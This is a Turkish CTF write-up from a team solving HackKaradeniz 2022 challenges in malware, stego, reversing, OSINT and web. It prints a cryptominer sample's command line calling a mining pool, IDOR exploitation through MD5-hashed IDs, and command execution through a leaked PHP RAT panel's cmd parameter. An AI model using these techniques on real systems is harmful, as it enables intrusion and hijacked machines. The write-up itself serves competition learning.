HackKaradeniz' 2022 CTF - zer0fl4g Takımı Yarı-Final Aşaması Write-Up

M. Akil Gündoğan (0xr3act0r) Muhammed Ensar Canbay (basay3v) Faruk Ulutaş (spar9) Samet Gözet (samogod)

19 soru çözümlendi.

1 - windows.exe

Elimize sample-windows.exe isimli bir dosya geçti. Bu dosyayı en başta VirusTotal ile taramanın mantıklı olacağını düşündük. https://www.virustotal.com/gui/file/49b7c957301b6d5e598becbb444c4b5738711866c170ce4844a8f80dc22e2058/behavior

VirusTotal'deki davranış analizi kısmında "Shell commands" altında çalıştırılan zararlı komutları inceledik. Burada -pass parametresi ile verilmiş B64 encoded bir string bulduk.

"RmxhZ3sweDQ2NkM2MTY3N0I2ODY1NzI3MzY1Nzk3NjM0NzQ2MTZFMzE2MzY5NkU3RH0="

Σ	49b7c957301b6d5e598becbb444c4b5738711866c170ce4844a8f80dc22e2058		Q	\uparrow	000	\Box	Sign in	Sign up
	+ HKLM\System\CurrentControlSet\Services\WinRing0_1_2_0\ImagePath							
	+ HKLMiSystem\CurrentControlSet\Services\WinRing0_1_2_0\Start							
	Process And Service Actions ①							
	Processes Created							
	%SAMPLEPATH%\sample-windows.exe							
	%USERPROFILE%\AppData\Local\Temp\none\xmrig-6.16.4\xmrig.exe							
	Shell Commands							
	"%SAMPLEPATH%\sample-windows.exe"							
	%USERPROFILE%\AppData\Local\Temp\none\xmrig-6.16.4\xmrig.exeurl pool.has	hvault.pro:80user						
	46zadri 4AunciANLöynmyXXSF2i15Ai3gyddEroff72gr56d5FHdavYnHb292TNAgq Rmxf723sweDQ2NkM2MTY3N0I2ODY1NzI3MzY1Nzk3NjM0NzQ2M1ZFMZE2MzY5	HARBMMWXW5QUKVY0AQ5SU3GqqHEApass 3KUBRH0Edonate-level 1tlstls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14						
	Processes Injected							
	%SAMPLEPATH%\sample-windows.exe							
	Processes Terminated							
	%SAMPLEPATH%\sample-windows.exe							
	Processes Tree							
	→ 2872 - %WINDIR%\explorer.exe							
	656 - %SAMPLEPATH%\sample-windows.exe							
	2472 - %USERPROFILE%\AppData\Local\Temp\none\xmrig-6.16.4\xmrig.e	0						
	Modules Loaded ①							
	Runtime Modules							
	%USERPROFILE%\AppData\Local\Temp\none\xmrig-6.16.4\xmrig.exe							
	%USERPROFILE%\AppData\Local\Temp\none\xmrig-6.16.4\WinRing0x64.sys							
							<u>^</u>	

String'i decode ettik.

"Flag{0x466C61677B686572736579763474616E3163696E7D}"

Soruda "beklenenden daha farklı bir değer" olabileceği söylendiği için süslü parantezler içerisindeki karakter dizisinin Hex

encode edildiğini biliyorduk, onu da decode edince gerçek flag'e ulaştık.

Flag{herseyv4tan1cin}

2 - BlackOnBlack

Çözmemiz için verilen fotoğrafı indirdik. 29a.ch ile görseli analiz ettik.



"Principal Component Analysis" kısmındaki işlemlerden sonra "OBQXG4Z2MU2HG6LQGRZXG5ZQOJSA====" değerinin yazılı olduğu görüldü ve not alındı. Bu değerin Base32 ile encode edildiği farkedildi ve CyberChef aracılığı ile decode edildi.

Elde ettiğimiz değer: "pass:e4syp4ssw0rd"

Download CyberChef 👱		Last build	: 8 days ago
Operations	Recipe	8 🖿 i	Input
base32	From Base32	⊘ 11	OBQXG4Z2MU2HG6LQGRZXG5ZQ0JSA====
To Base32	Alphabet A - Z2 - 7=		
From Base32			
Favourites 🕇	Remove non-alphabet chars		
Data format			
Encryption / Encoding			
Public Key			
Arithmetic / Logic			
Networking			
Language			
Utils			Output
Date / Time			pass:e4syp4ssw0rd
Extractors			
Compression			
Hashing			
Code tidy			
Forensics			
Multimedia			
Other			
The second s			
Flow control			

Bize verilen resim ".jpg" uzantısına sahipti. Halihazırda elimizde de bir parola olduğuna göre bunu kullanarak "steghide extract -sf black-on-black.jpg" ile gizlenen "chat-history.txt" dosyasını çıkarttık. Dosya içeriği aşağıdaki gibidir:

root@hydrasit: /home/akil/Masaüstü		\otimes
Dosya Düzenle Görünüm Ara Uçbirim Yardım		
Dosya Düzenle Görünüm Ara Uçbirim Yardım root@hydrasit:/home/akil/Masaüstü# steghide extract -sf black-on-black.jpg Enter passphrase: wrote extracted data to "chat-history.txt". root@hydrasit:/home/akil/Masaüstü# cat chat-history.txt 02:42:04 [root]: BSSID = 64:70:02:60:99:f7 02:42:09 [root]: SSID? 02:42:13 [client_user]: SSID yeterli mi? 02:42:17 [root]: Tam olarak değil, ama yeterince yakın. 02:42:18root left the channel root@hydrasit:/home/akil/Masaüstü#		

02:42:04	[root]: BSSID = 64:70:02:60:99:f7
02:42:09	[root]: SSID?
02:42:13	[client_user]: SSID yeterli mi?
02:42:17	[root]: Tam olarak değil, ama yeterince yakın.
02:42:18	root left the channel-

Bir BSSID verdiğini görüyoruz. Araştırdığımızda "wigle.net" adında bilinen SSID ve BSSID'lerin tutulduğu bir nevi veritabanı gibi bir sitenin var olduğunu görüyoruz. Üye olup "Advanced Search" kısmında aramayı yaptığımızda karşımızda aradığımızı buluyoruz.

	Flag{bl4ck_ch405}	
View I Uploads I Info I Stats I Tools		akilpasa Log out
Network Search		
General Search WiFi/Cell Detail Bluetooth Search		
Average Location - Address	Network Characteristics	
Num: 141 Street: West Jackson Boulevard	Last Updated: 20010925174546 Minimum data quality ⁰ : 0 v Encryption status: v	
Clty: Chicago Region: IL	BSSID/MAC: 64:70:02:60:99:17	
Country: US Postal: 60604	SSID / Network Name (exact match): foobar	
	SSID / Network Name (wildcards1: % and _): foobar%	
Average Location - Coordinates	□ Must Be a FreeNet □ Must Be a Commercial Pay Net □ Only Networks I Was the First to Discover	
Lat: 47.25264 to: 47.25265	Query Stftrla	
Lon: -87.256243 to: -87.256244	⁰ 0-7 Product of number of observers and observations. ¹ %" means zero-or-more characters, ' means a single character.	

Se	arch Radius Toleranc	e(+/- degrees)	: 0.01	10 ~										
show	ving records 1	to 1		of 1										
Мар	Net ID	SSID	Туре	First Seen	Most Recently	Crypto	Est. Lat	Est. Long	Channel	Bcn Int.	QoS	Found by Me	Access	Comment

more results

800141				NEWO
SOCIAL	SITE INFORMATION	DEVIGANDOM	USEN MANAGEMENT	NEWS
WIKI	FAQ	CAFEPRESS GEAR	PASSWORD CHANGE	FORUMS
TWITTER	END-USER AGREEMENT	LINKS		NEWS RSS

3 - Forrest Gump

Soruda bize HKGame.rar dosyası verildi. Dosyayı indirip açtığımızda içerisinde bizi Unity ile yapılmış bir oyun karşıladı. Oyunu açtığımızda bir obje üzerinde sürekli koşan ve flag'i yakalamaya çalışan bir çocuk vardı. Oyun içerisinde biraz bekledikten sonra gördüğüm bir sonsuz döngüde gibi oyuncu hiç bir şekilde ilerleme kaydedemiyor.



Bunun ardından Unity hakkında fikir sahibi olmadığım için ufak bir araştırma yaparak dnSpy aracı ile oyun dosyalarını decompile edilebileceğini öğrendim ve hemen işe koyuldum.

DnSpy ile oyuna ait olan Assembly-CSharp.dll dosyasını açtım ve içerisi kurcalamaya başladım. Oyuna ait olan oyuncu hızı gibi verileri değiştirmeme rağmen oyuncu hiçbir şekilde flag'e yaklaşamıyordu. Tekrar dosyaları incelediğimde Unity Movement içerisinde aşağıdaki satırları buldum.

Dosya Düzenle Görünüm Hata ayıklama Pencere Yardım Yar	🗇 dnSpy v6.1.8 (64-bit, .NET)	
Derleme Gezgini ✓ X UnityMovement X	Dosya Düzenle Görünüm Hata ayıklama	Pencere Yardım 😋 💿 🖆 🚰 C# 🍷 ፇ 💎 🕨 Başlat 🔎
<pre> Assembly-CSharp (0.0.0.) Assembly-CSharp.dll Be Assembly-CSharp.dll Be PE If referanslar Pe If referanslar If - If camFollow @02000001 If camFollow @0200000 If chatController @0200000 I</pre>	Derleme Gezgini 🗾 👻 Un	ityMovement ×
	 ▲ Assembly-CSharp (0.0.0.0) ▲ Assembly-CSharp.dll ▶ ■ PE ▶ ■ Tür referansları ▶ ■ Referanslar ▲ {} - ▶ ▲ < Module> @02000001 ▶ ▲ CamFollow @02000006 ▶ ▲ ChatController @0200000 ▶ ▲ EnvMapAnimator @02000 ▶ ▲ FreeCameraLogic @020000 ▶ ▲ GameManager @0200000 	<pre>1</pre>

PSTATUS @02000008	17	5.
SimpleSampleCharacterC	18	6,
🕨 🙀 TouchCheck @0200000F	19	7,
🕨 🔩 UnityMovement @020000		8,
🕨 🔩 WallMakerController @02	21	9
TMPro	22	};
TMPro.Examples	23	int num = 0;
▶ 🗇 netstandard (2.0.0.0)	24	foreach (char c in text)
▶ 🗇 mscorlib (4.0.0.0)	25	
✓	27	<pre>text2 += ((char)((int)c * array[num])).lostring();</pre>
UnityEngine.CoreModule.dll	28	return text2:
Þ ≝ PE	29 }	
▶ ■■ Tür referansları	30 }	
▶ ■■ Referanslar	51	
▶{}-		
♦ { } AOT		
b () letPraine Appetations		

Hemen web üzerinden çalışan bir C# Compiler açarak kodu burada test etmeye çalıştığımda bayrağı yakalamış oldum.

```
10
           ł
11
               1,
              2,
12
13
              з,
14
              4,
              5,
15
16
               6,
17
              7,
              8,
18
19
              9
20
          };
          int num = 0;
21
22
          foreach (char c in text)
23
         {
24
              text2 += ((char)((int)c ^ array[num])).ToString();
25
          }
26
          Console.WriteLine(text2);
27
      }
28 }
```

```
FLAG{F1N4L3_DOGRU_4D1M_4D1M}
```

FLAG{F1N4L3_DOGRU_4DIM_4DIM}

4 - Hesap Makinesi

"sample-linux" adında bir dosya veriliyor. Bunu çalıştırdığımızda basit bir hesap makinesi gibi gözüküyor.



Kategorinin "Malware" olması nedeniyle ilgili örneği VirusTotal üzerinde tarattık, belirli bağlantılar dikkatimizi çekti fakat bunun anlamsız ve bizi oyalamak için konulduğunu anlamamız çok uzun zaman almadı. Farklı arayışlarımıza devam ettik. Bu nedenle ilk olarak dosyayı incelemeye koyuldum. String'lere göz atmaya çalıştığımda UPX ile ilgili datalar gördüğüm için doğrudan "upx-ucl" ile unpack ediyorum ve "strings sample-linux >> diziler.txt" komutu ile bütün karakter dizilerini dışarıya aktarıyorum. Daha sonra not defteri ile açıp göz atarken, "parola" kelimesi geçen bir bölge görüyorum.

Base64 olduğunu düşündüğüm diziyi defalarca decode ediyorum ve "Flag{...}" arasında Hex ile encode edilmiş karakterler olduğunu anlıyorum. Dönüştürdüğümde bayrak ortaya çıkıyor.

S 🗖 💆 🙋 🎬 🖣 📘 2 3 4		
	kali@kali:~/Desktop	~/Desktop/diziler.txt - Mousepad
	File Actions Edit View Help	File Edit Search View Document Help
Trash	[kali⊙ kali)-[~/Desktop] _\$ echo VW0xNGFGb3pjM2RsUkZFeVRtdE5NazFVV1ROT01Fa3lUMFJaZUU1NmEzcE9SR013V	21430 FUHLLINE: INAY HEEU LO INCLEASE MAX USEL PLOCESSES (ULIMIT - U)
	GSWUmVFNUVXVV22PYTFVeVQwUlplRTVyUIRKUFZGCERUbXByTWXKRVl6Rk9la2t6VFhwWk5VNTZ VVEpQVkZwRVRtcHJNbEpFV1RCT2Ftc3pUV3BrUldaulBUMD0= base64 - d Um14aFocz3dlREFyTmtNMk1UWTNOMEkyT0RZeE56a3pORGMwTnpRekSEWTFOa1UyT0RZeE5rST JPVFpDTmprMlJEYzF0ekkzTXpZNU56UTJPVFpETmprMlJEWTBOamszTWpkRWZRPT0=	21431 path meido 21432 mod meido (devel) 21433 found bad pointer in Go heap (incorrect use of unsafe or cgo?)runtime: internal error: misuse of lock0SThread/
File System infection1	<pre>(kali@kali)-[~/Desktop] \$ echo Um14aFozc3dlRFEyTmtNMk1UWTNOMEkyT0RZeE56a3pORGMwTnpRek5EWTF0a1UyT 0RZeE5rSTJPVFpDTmprMlJEYzF0ekkzTXpZNU56UTJPVFpETmprMlJEWTB0amszTWpkRWZRPT0 = 1 base64 -d</pre>	unlockOSThreadABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456 789+/ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789- _runtime.SetFinalizer: pointer not at beginning of allocated blockgo package net: built with netgo build tag; using Go's DNS resolver
•	RmxhZ3sweDQ2NkM2MTY3N0I2ODYxNzkzNDc0NzQzNDY1NkU2ODYxNkI2OTZCNjk2RDc1NzI3Mz Y5NzQ2OTZDNjk2RDY0Njk3MjdEFQ=	21434 bytes.Buffer: UnreadByte: previous operation was not a successful readcannot convert slice with length %y to pointer to array with length
Home	<pre>(kali@ kali)-[~/Desktop] \$ echo mmxh23sweDQ2NkM2MTY3N0I20DYxNzkzNDc0NzQzNDY1NkU20DYxNkI20TZCNjk2R pt1Nt1Amy5Nz020TZDNik2PDYANik2MidEf0_ l base66_cd</pre>	%xtoo many concurrent operations on a single file or socket (max 1048575)reflect.Value.Interface: cannot return value obtained from unexported field or
	Flag{0x466C61677868617934747434656E6861686968696D7572736974696C696D6469727 D}	<pre>methodVW0xNGFGb3pjM2RsUkZFeVRtdE5NazFVV1ROT01Fa3lUMFJaZUU1NmEzcE9SR013VG5 wUmVrNUVXVEZPVTFVeV0wUlplRVJVURKUFZcERUbXByTWxKRV16Rk9la2t6VFhwWk5VNTZ- VVE0vVEZwPVFte1NbfeFeV1CT2fcfa1W3mFUlda11BiND0a</pre>
sample-linux	$\frac{R}{R}$ Hex to ASCII Text String $\subset \times$ +	21435 (Dost Canlisi) hesap makinesine ho 21436 geldinizz :D
★	· → C 倫 ○ A https://www.rapidtables.com/convert/nun 80% ☆ 🛛 ≡	21437 Kullanımı oldukca basıt! Sadece 2 sayı gırıyorsunuz ve islem tamam :DD
sample-lin	Kali Linux 🚯 Kali Tools 👱 Kali Docs 🖹 Kali Forums 💦 Kali NetHunter 🍋 Exploit-DB 💦 466061677868617934747434656E686168696B696D757273697469666	x parola 🔨 Match case Regular expression 🗸
diziler.txt	96064697270	
	A. A	
	ASCII ~	
New File	Convert X Reset t₄ Swap Swap	
	Plag(hay4tt4enhakikimursitilimdir)	

Flag{hay4tt4enhakikimursitilimdir}

5 - Mixer

"Anaktarquestion.exe" adında bir dosya bize verilmişti. Doğrudan x32Dbg ile incelemeye çalıştığımda h4CkK4r4d3n1z karakter dizisi dikkatimi çekiyor. Bunu cevap olarak denedikten sonra sonra debuggerda uygun noktalara breakpoint koyduğumdan programın "4KkC4hrz1n3d4" şeklinde girdiğim veriyi karıştırdığını görüyorum.

Burada düz mantık yürüterekten, karışık veriyi verirsem doğru değere dönüşeceğini düşünüyorum ve "4KkC4hrz1n3d4" girip "HK{H3y6!D!_K4R4D3N!2}" şeklinde bayrağımı alıyorum.



HK{H3y6!D!_K4R4D3N!2}

HK{H3y61D1_K4R4D3N12} C:\Users\IdealSistem\Desktop>	
ecx=00563128 "h4CkK4r4d5n1z" dword ptr ss[lebps]=[00FFDA0 & "4kKC4hrz1n3d4"]=00FDFDA4 "4KKC4hrz1n3d4" .text:005611F3 anektarquestion.exe:\$11F3 #5F3	5: [esp+14] OOFDFDA4 "4KkC4hrz1n3d4"
🕮 Döküm1 🕮 Döküm2 🚝 Döküm3 🚝 Döküm4 🚝 Döküm5 🦃 İzle 1 🗠 Iverel Değişkenler 🤰 Yapı	
Adres Hex AscII 77C60001 80 5A 90 01 00 04 00 00 04 00 00 04 00	OOFDFD74 OOFDFD74 OOFDFD75 OOFD75 OOFD7
//CE0000 52 89 83 68 89 /4 53 15 00 00 00 00 00 00 00 00 00 00 00 00 00	00FDFDB0 00560034 anektarquestion.00560034
[[[Control of a set of [] of or other and other a state of the structure] in our easy aby	Varcaulan V
Territoria (IIII 3 breakpoint at anektaroueston, 00561205 (00561205))	production for Harcanan Zaman (2012) 22:18
🚦 🔎 Aramak için buraya yazın 🛛 🛱 💽 🚍 🏦 🐋 💷 👋 🐖 🔳	へ 遼 早 (4) 22:27 17.07.2022 見 (1)

6 - Dünya Dönüyor

Reverse alanında gelen "Dünya Dönüyor" sorusu oldukça fazla kafa patlatmamıza neden oldu. Cevap olarak şarkının sözlerini bile girmeyi denedik fakat program bize bir türlü flag'i vermiyordu. Debuggerlar kullanarak patchleme deneylerimiz de ne yazık ki işe yaramıyordu. Girdiğimiz değerler etkisiz eleman olarak dönüyordu.

	C:\Users\IdealSistem\Desktop\HK-EasyCrackMe.exe	_	×
APK Easy Tool v1	Dunya donuyor sen ne dersen de zer0f14g		Ê
	Dunya donuyor sen ne dersen de Yillar geciyor istemesen de		
	Dunya donuyor sen ne dersen de		
	Dunya donuyor sen ne dersen de		
	Dunya donuyor sen ne dersen de		
	Dunya donuyor sen ne dersen de		
	Anektar da se		
ladara Ba			
ranare_Na			~
	functionBo deep(1)		

Nihayet IDA Pro ve NSA tarafından geliştirilen diassembler aracı olan Ghidra ile araştırmalarımız sonucunda şüpheli bir fonksiyon bulduk. IDA doğrudan yardımcı olmazken, Ghidra ile değerleri daha rahat ve anlaşılır biçimde okuyabildik.

Bu fonksiyonu incelediğimizde basit düzeyde şifrelemelerde kullanılan XOR kullanıldığını fark ettik. Hexadecimal olarak değişkenlere atanan değerleri önce decimal ve daha sonra normal metine çevirip, elde ettiğimiz "h4cK" keyi ile XOR işleminden geçirdiğimizde aradığımız bayrağı bulduk.

HK{Z0n6uLD4K_y0Lcu5u_K4LM4S1N}

💭 CodeBrowser: asdadasd	:/HK-EasyCrackMe.exe					- 0 ×
File Edit Analysis Grap	h Navigation Search Select Tools W	indow Help				
🔚 🖛 • 🔿 • 🏬	🖿 🖻 🐘 🖡 I D U L F 7	🗶 🛚 🔹 🧌 🛍 👘 🖂	🗸 🕅 🖄 🖪 🛅 😋 🚠 🌘	> 💷 🔶 🔟 📪 🚠 🗣		
Program Trees X					Cecompile: FUN_004011f0] - (HK-EasyCrackMe.exe)	😵 🗅 📓 👻 🗙
n 🔁 🔁 🔁	Trom Decimal, XOR - CyberCh	et× +		- u x	43 local_88[3] = 0x11;	^
HK-EasyCrackM A	$\leftarrow \rightarrow \mathbf{G}$ $\Diamond \mathbf{A}$	nttps:// gchq.github.io /CyberChe	ef/#recipe=From_Decimal('Spa	ace',false)XOR(('ಂ) %90 ದಿ 🛇 😑	44 iVar3 = 0; 45 local_88[28] = 0x26;	
text	Download CyberChef 👤	Last	build: 9 days ago	Options 🟩 🛛 About / Support	46 local_88[4] = 0x58; 47 local 88[5] = 0x5a;	
- 🔄 .data - 🗐 .data	Operations	Recipe	2 🖿 🕯	Input $\frac{\text{length: 89}}{\text{lines: 1}} + \square \Rightarrow \blacksquare \blacksquare$	48 local_88[6] = 0x55; 49 local_88[7] = 0x3e;	
- 🔄 .reloc □ Debug Data ∨	from hex	From Decimal	⊘ 11	32 127 24 17 88 90 85 62 36 112 87 0 55 77 83 7 11 65 86 62 55 127 87 7 37 0 48 122	50 local_08[29] = 0x49; 51 local_08[8] = 0x24; 52 local_08[8] = 0x70;	
< > Program Tree ×	From Hex	Delimiter Space	Support signed values	38 73	10ca1_8[10] = 0x57; 54 10ca1 88[11] = 0;	
Symbol Tree X	From Hexdump		0.11		55 local_88[12] = 0x37; 56 local_88[13] = 0x4d;	
🔟 🔁	From Hex Content	XOR	0 11		57 local_88[14] = 0x53;	
⊕- f FUN_004 ∧ ⊕- f FUN_004	Favourites 🔶	Key h4cK	UTF8 -	start: 30 time: 2ms	58 local_88[15] = 7; 59 local_88[16] = 0xb; 60 local_08[16] = 0xb;	
⊕ f FUN_004 ⊕ f FUN_004	Data format	Scheme	Null preserving	HK{ZOnGuLD4K VOLCU5U K4LM4S1N}	100405(1/) = 0x4;; 61 10ca1_88[10] = 0x56; 62 10ca1_88[10] = 0x36;	
	Encryption / Encoding	Standard			63 local_88[20] = 0x37; 64 local_88[21] = 0x7f;	
	Public Key				65 local_88[22] = 0x57; 66 local_88[23] = 7;	
Filter:	Arithmetic / Logic	STED 7 R			67 local_88[24] = 0x25; 68 local_88[25] = 0;	
🖸 Data Type M 👻 🗙	Networking		Auto Bake		69 local_88[26] = 0x30; 70 local_88[27] = 0x7a;	
	90 004012d0 0f	32 40 00 11 45 cc MOVUPS xm	mword ptr [EBP + local_38	[0]],XMM0	71 do { 72 iVar2 = 0;	



7 - Klasik

Çözümü oldukça tuhaf olan sorulardan biriydi. Çalıştırdım ve Flag{..} biçiminde Hex ile encode edilmiş flag karşımdaydı. Decode ettim ve sonuca ulaştım.



Flag{mil4ttanonce209}

8 - Interview

Sitede biraz gezindikten sonra sol üstte sosyal medya butonları gördük. Tıkladığımızda bizi "ProKlean" Twitter hesabına yönlendirdi.

https://twitter.com/ProKlean4





Bu Twitter hesabının takip ettikleri arasında "Ayşe Zonguldak" adında biri olduğu görülüyordu.

https://twitter.com/iAyse_Zonguldak

y		÷	Pro Klean @ProKlean4			Q Twitter'da Ara	
0	Anasayfa		Takipçiler	Takip ediliyor		İlgini çekebilecek gündemler	
#	Keşfet		Ayşe Zonguldak @iAyse_Zonguldak ProClean		Takip et	Türkiye tarihinde gündemde #Kayseri 1.387 Tweet	
Ģ	Bildirimler					Türkiye tarihinde gündemde	
\sum	Mesajlar					#HabertürkBoykot 10,5 B Tweet	

İlgili kişiye gittiğimizde mail atmamız istendiğini gördüm.

	← Ayşe Zonguldak		
sayfa		Bunları beğenebilirsin	
fet		Furkan @0xdr4f3rt Takip et	
irimler		Erenay @0xp0lyx4	
ajlar	···· Takip et	Zahid Eroğlu	
İşaretleri		@zahideroglu	
eler	Ayşe Zonguldak @iAyse_Zonguldak		
il	ProClean IIII Temmuz 2022 tarihinde katıldı	İlgini çekebilecek gündemler	
a fazla	1 Takip edilen 6 Takipçi Takip ettiğin kimse takip etmiyor	Türkiye tarihinde gündemde Kaya Çilingiroğlu 2.208 Tweet	
weetle	Tweetler Tweetler ve yantlar Medya Begeni	Türkiye tarihinde gündemde Araplara	
	Ayşe Zonguldak @iAyse_Zonguldak - 15 Tem *** Selamlar, @ProKlean4 binyesinde çalışacak çalışma arkadaşları arıyoruz. CV'nizi e-posta adresime iletebilirsiniz.	Türkiye tarihinde gündemde Defne Joy Foster 4.147 Tweet	
	E-Posta: ayse.zonguidak@h4ckkaradeniz.com	Türkiye tarihinde gündemde Salih Selman 1.854 Tweet	
	Kimi takip etmeli Eren ve 9 kişi daha takip ediyor Furkan @Oxdr/df3rt Takip et 	Gündemdekiler Nedim Şener 1.864 Tweet	
ilgundogan	16 Ivi security researcher	Hincal Uluç 6.363 Tweet	ar ⊡ ⊗

Mail gönderdiğimde bize otomatik olarak cevap olarak panel girişi ve şifre gönderildi. Bunları ilgili hedefimizde kullanacağımızı artık biliyorduk.



Mulakat Gelen Kutusu



Akil Gündoğan 16 Tem Merhaba, bağlantıyı alabilir miyiz?



se Zonguldak Dun

 \leftarrow

Selmalar, Mülakat paneline erişmek için; URL: http://int101.hackkaradeniz.xy z/mlktktlmadylgnpnl/login.php Username: "Alex" Password: "1a2b3c4d5e6f" Mail üzerinden gelen kullanıcı adı ve parola ile panele giriş yaptığımda karşımda şöyle bir sayfa vardı.

← → C 🔒 int101.hackkaradeniz.xyz/mlktktlmadylgnpnl/index.php?adayID=c4ca4238a0b923820dcc509a6f75849b
Hoşgeldin Alex
Aday ID: '1'
Click here to Logout.

Bu kısımda URL üzerindeki ID ile sayfa içerisindeki Id'nin farklı olması beni biraz düşündürdü fakat hemen URL üzerindeki adaylD'yi alarak hash sorgulaması yaptım ve MD5 olduğunu gördüm. Bu hash'i kırmak istediğimde sonuç başarılı oldu ve değerin adaylD ile eşleştiğini gördüm. IDOR olabileceğinden şüphelenerek şöyle bir şey denemeye karar verdim. 2 numaralı id'i MD5 ile hashleyip adaylD olarak girdiğimde id numarası 2 olan kullanıcının profilini gördüm.

← → C 🔒 int101.hackkaradeniz.xyz/mlktktlmadylgnpnl/index.php?adayID=c81e728d9d4c2f636f067f89cc14862c
Hoşgeldin Deniz
Aday ID: '2'
Click here to Logout.

Ardından bu şekilde devam ederek ilerlediğimde hemen 3 numaralı id'de Flag'i buldum.



9 - APT55

Bize verilen siteye girdik ve biraz inceleme yapık. Ancak, siteden nasıl ilerleneceğine dair pek bir bilgi elde edemedik. Bu yüzden yol gösterici alt dizinler olabileceğini düşündük ve gobuster aracı ile taradık.

gobuster dir -u https://apt55.hackkaradeniz.xyz/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,sh,txt,cgi,html,js,css,py

"gobuster dir -u https://apt55.hackkaradeniz.xyz/old/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,sh,txt,cgi,html,js,css,py

gobuster dir -u https://apt55.hackkaradeniz.xyz/old/db/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,sh,txt,cgi,html,js,css,py

<u>https://apt55.hackkaradeniz.xyz/old/db/index.php</u> adresinde "Recovery Code" adı altında 8MB'lık bir zip dosyası (pass1234.7z) mevcuttu indirdik ve dosya isminden arşiv şifresinin "1234" olduğuna kanaat getirdik.

< > C ==	VPN apt55.hackkaradeniz.xyz/old/db/index.php	200000

Recovery Code

İçinden çıkan "server" adlı klasörde bazı php kodları gördük ve anlamlandırmaya çalıştık. Kaynak kodunu biraz daha incelediğimizde bu klasörün "torCT-PHP-RAT" (<u>https://github.com/IHA114/torCT-PHP-RAT</u>) olduğunu gördük.

Kaynak kodunu daha detaylı incelediğimizde clientların iletişim kurması için gerekli olan gate adresini yakaladık ve ziyaret ettik. Ancak, bizi bir login sayfası karşıladı. Login sayfası için gerekli olan bilgileri "password.php" kaynak kodunda gördük ve uygun şekilde encode ettik.

\$password = md5("hkdphprat"); 8d908206943e668e453a6ef58e5958d3

MD5 Hash Generator

•	Sha1	Hash	Genera

Use this generator to	create an MD5 hash of a string:
hkdphprat	
	4
Generate →	
Your String	hkdphprat
MD5 Hash	8d908206943e668e453a6ef58e5958d3 Copy
SHA1 Hash	1e2d21695639cbe62bdff61998c6603be28380e3 Copy

Giriş yaptıktan sonra ise bizi yönetici paneli karşıladı ve "Actions" yazısının altındaki boşluğa tıklayarak komut çalıştırabileceğimiz bir endpoint'e geçiş yaptık.

K > C == 🔍 VPN 🗎 apt55. hackkaradeniz.xyz /php/rattest/test_client/server/index.php	12 10 2 > 0 👡 ও 🐨 🕁 ± 🛱
🗅 hackaradeniz 🗅 exploits 🕨 h 🚯 🍄 🌲 🎽 obb 💷 bbh 😱 in 🔀 py 🧿 👶 🗅 allah 🥡 😡 pc 🗅 ders 🗅 forums 🗅 songs 🗅 ducky 🔜 carb 🔇 doc2pdf 🖷	threatABLE Feed 🔋 md 🗲 intro 娨 sms 🚿
Q Would you like the password manager to save the password for "https://apt55.hackkaradeniz.xyz"?	Update ×
Actions	
ClearAll Send Blue Screen Send Start NotPad Send Start CMD Start Test Slaves Online : 8	

https://apt55.hackkaradeniz.xyz/php/rattest/test_client/server/index.php

https://apt55.hackkaradeniz.xyz/php/rattest/test_client/server/test.php?cmd=ls

Dizin listelediğimizi gördükten sonra ise "cat flag.txt" komutu ile Flagimizi kaydettik. <u>https://apt55.hackkaradeniz.xyz/php/rattest/test_client/server/test.php?cmd=cat%20flag.txt</u>

) C 88	VPRI apt55.hackkaradeniz.xyz/php/rattest/test_client/server/test.php?cmd=whoami	s 🍨 🐨
hackaradeniz 🗅	RECENT SEARCHES	md C intro
	Q encode md5 - Google Search	
	Q encode md4 - Google Search	
	Q site:pastebin.com "md5 encode" - Google Search	

< > C ==	VPN apt55.hackkaradeniz.xyz/php/rattest/test_client/server/	800 >> 0 🚽 n t
	Actions	
<u>ClearAll</u> <u>Send Blue Screen</u> <u>Send BlackScreen</u> <u>Send Start NotePad</u> <u>Send Start CMD</u> <u>Start Test</u>	Slaves Online : 8	

Flag{Gh0sT_D3aD_L3g10n_t3aM55}

10 - Rotasını Şaşıran Tır - 1

Yarışma boyunca bizi en çok zorlayan sorulardan biri olduğunu söyleyebiliriz. İlk başlarda soruda verilen +d0qbfGAndK82YmU0 kodunu lokasyon belirten bir "plus code" sandık. Ancak, denemelerimiz başarısız oldu. Ortadaki "And" ibaresinin bir ipucu olduğunu düşündük ama bu da ne yazık ki bizleri yanılttı.

En sonunda bunun bir davet kodu olabileceğini düşündüğümüzde başına "t.me" ekleyerek "https://t.me/+d0qbfGAndK82YmU0" bağlantısını elde ettik. Hedefe gittiğimizde bayrak karşımızdaydı.



Flag{M4sm4vi_K4r4d3niz4_H0sg3ldin}

11 - Fernet

Bu soruda bizde <u>https://fernet.hackkaradeniz.xyz</u> adresi verilmişti. Web sayfasına girdiğimizde bizi siyah ekran üzerinde bazı yazıları karşılıyordu. Bu aşamada önce robots.txt gibi bilindik endpointleri denedikten sonra hiç bir şekilde bir sonuca varamadım. Web sayfası üzerinde kırmızı renkler ile belirtilmiş olan HackKaradeniz yazısını endpoint olarak denediğimde Method Not Allowed uyarısı ile karşılaştım. Burada methodun desteklenmediğini görerek isteği POST metodu ile göndermeyi denedim.



Sonuç olarak bize URL encode edilmiş bir şekilde bir data ve bir key verdi.

) https://fernet.hackkarad ×	🚺 Burp Suite	× +	~	-	

← → × □ ③ fernet.hackkaradeniz.xyz/HackKaradeniz

< 🛧 🖈 👗 🗖 🤮

İşte bir sonraki adım. b'gAAAAABivgztTMTqBuYQT5rxmqeuBE-N1v1cKyLkeXerrW24TeQ1ufHW8XmLPpogPYxHnV1FocDG8gabEX7zlZQt9_kJwB10pQ0lLgt1PJa66WSk2nn1W0H0i2jqI3PsdtVMskLtimA' Ve anahtar: b'lpDU6C877RrLZMp1YyRzQu-hUVGLb1h6UkG1kLF8ETs=' Key'in ve datanın ne olduğunu bilmediğimden ufak bir araştırma ile Fernet ile encrypt edilmiş bir veri olduğunu anladım. Hemen Python ile yazılmış ufak bir script kullanarak veriyi çözdüm ve Flag karşıma çıktı.



FLAG{H4cK_kar4D3n1z_2020-T3mMuz}

12 - DESTAN

